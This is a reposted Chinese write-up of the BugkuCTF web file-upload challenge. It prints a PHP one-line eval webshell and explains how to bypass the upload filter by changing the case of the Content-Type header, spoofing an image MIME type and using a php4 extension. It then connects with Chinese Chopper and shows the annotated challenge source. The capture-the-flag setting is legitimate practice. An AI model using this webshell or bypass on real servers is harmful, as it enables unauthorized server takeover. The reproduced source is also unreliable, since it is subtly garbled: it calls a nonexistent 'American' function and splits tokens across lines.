生活随笔
收集整理的這篇文章主要介紹了
BugkuCTF-WEB题文件上传
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
啟動(dòng)場(chǎng)景
發(fā)現(xiàn)是文件上傳
只能上傳圖像,不能上傳PHP文件,那應(yīng)該是尋找漏洞上傳PHP文件
PHP文件里寫入一句話木馬
<?php @eval($_POST[caidao]);?>
使用burp抓包,不斷嘗試發(fā)現(xiàn)發(fā)現(xiàn)需要修改的地方有三個(gè):
一個(gè)是http head里的Content-Type: multipart/form-data;
請(qǐng)求頭部的 Content-Type 內(nèi)容 隨便改個(gè)大寫字母過(guò)濾掉 比如 mulTipart/form-data (其t為大寫)
Multipart里的部分字母改成大寫的。
第二個(gè)是文件的的Content-Type: application/octet-stream,改成image/jpeg
第三個(gè)是文件后綴名改成php4
(依次嘗試php4,phtml,phtm,phps,php5(包括一些字母改變大小寫))分別將后綴名修改為php2, php3, php4, php5, phps, pht, phtm, phtml(php的別名),發(fā)現(xiàn)只有php4沒(méi)有被過(guò)濾
之后上傳成功
關(guān)閉代理,瀏覽器顯示文件路徑
以菜刀連接:
進(jìn)入服務(wù)器后臺(tái),在根目錄發(fā)現(xiàn)flag
打開(kāi)flag
得到flag
后來(lái)有大佬教了我做事,說(shuō)都上了馬了自己不會(huì)扒來(lái)看嘛,哇我真的是蠢,這都沒(méi)想到,直接血的教訓(xùn)記了下來(lái),并扒了源碼分析:
參考源碼.php文件
<html
>
<body
>
<?php
$flag = "flag{test}"
?>
<form action
="index.php" method
="post" enctype
="multipart/form-data">
My name is margin
,give me a image file not a php
<br
>
<br
>
<input type
="file" name
="file" id
="file" />
<input type
="submit" name
="submit" value
="Submit" />
</form
>
<?php
function global_filter(){$type = $_SERVER["CONTENT_TYPE"];if (strpos($type,"multipart/form-data") !== False){$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);$file_ext = strtolower($file_ext); if (stripos($file_ext,"php") !== False){American("Invalid File<br />");}}
}
?><?php
global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){if ($_FILES["file"]["error"] == 0){$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);$file_ext = strtolower($file_ext);$allowexts = array('jpg','gif','jpeg','bmp','php4'); if(!in_array($file_ext,$allowexts)){American("give me a image file not a php");}$_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext; if (file_exists("upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " already exists. <br />";}else{if (!file_exists('./upload/')){mkdir ("./upload/");system("chmod 777 /var/www/html/upload"); }move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);echo "Upload Success<br>";$filepath = "upload/" . $_FILES["file"]["name"];echo "Stored in: " ."< a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";}}
}
else{if($_FILES["file"]["size"] > 0){echo "You was catched! :) <br />";}
}
?>
</body
>
</html
><?php
/*
$_SERVER是一個(gè)服務(wù)器端的變量數(shù)組,提供許多關(guān)于服務(wù)器及客戶端請(qǐng)求的變量值,像客戶端瀏覽器類型、
IP地址等
通過(guò)
print_r($_SERVER)可以輸出其里包含了那些內(nèi)容
strpos() 函數(shù)查找字符串在另一字符串里第一次出現(xiàn)的位置。
strpos() 函數(shù)對(duì)大小寫敏感。
strrpos() - 查找字符串在另一字符串里最后一次出現(xiàn)的位置(區(qū)分大小寫)
例如:
echo strrpos("You love php, I love php too!","php"); 結(jié)果返回
21$_FILES -- $HTTP_POST_FILES [已棄用
] —
HTTP 文件上傳變量
PHP $_FILES 是一個(gè)預(yù)定義的數(shù)組,用來(lái)獲取通過(guò)
POST 方法上傳文件的相關(guān)信息。如果為單個(gè)文件上傳,那么
$_FILES 為二維數(shù)組;如果為多個(gè)文件上傳,那么
$_FILES 為三維數(shù)組。
$_FILES['myFile']['name'] 客戶端文件的原名稱。
$_FILES['myFile']['type'] 文件的
MIME 類型,需要瀏覽器提供該信息的支持,例如
"image/gif"。
$_FILES['myFile']['size'] 已上傳文件的大小,單位為字節(jié)。
$_FILES['myFile']['tmp_name'] 文件被上傳后在服務(wù)端儲(chǔ)存的臨時(shí)文件名,一般是系統(tǒng)默認(rèn)。可以在php
.ini的upload_tmp_dir 指定,但 用
putenv() 函數(shù)設(shè)置是不起作用的。
$_FILES['myFile']['error'] 和該文件上傳相關(guān)的錯(cuò)誤代碼。
['error'] 是在
PHP 4.2.0 版本里增加的。下面是它的說(shuō)明:
(它們?cè)?span id="ozvdkddzhkzd" class="token constant">PHP3
.0以后成了常量
)
UPLOAD_ERR_OK
值:
0; 沒(méi)有錯(cuò)誤發(fā)生,文件上傳成功。
strtolower() 函數(shù)把字符串轉(zhuǎn)換為小寫。
date() 函數(shù)格式操作本地日期和時(shí)間,并返回已格式操作的日期字符串。
rand() 函數(shù)返回隨機(jī)整數(shù)。
file_exists() 函數(shù)檢查文件或目錄是否存在。
如果指定的文件或目錄存在則返回
true,否則返回
false。system — 執(zhí)行外部程序,并且顯示輸出move_uploaded_file — 將上傳的文件移動(dòng)到新位置
*/
?>
總結(jié)
以上是生活随笔為你收集整理的BugkuCTF-WEB题文件上传的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。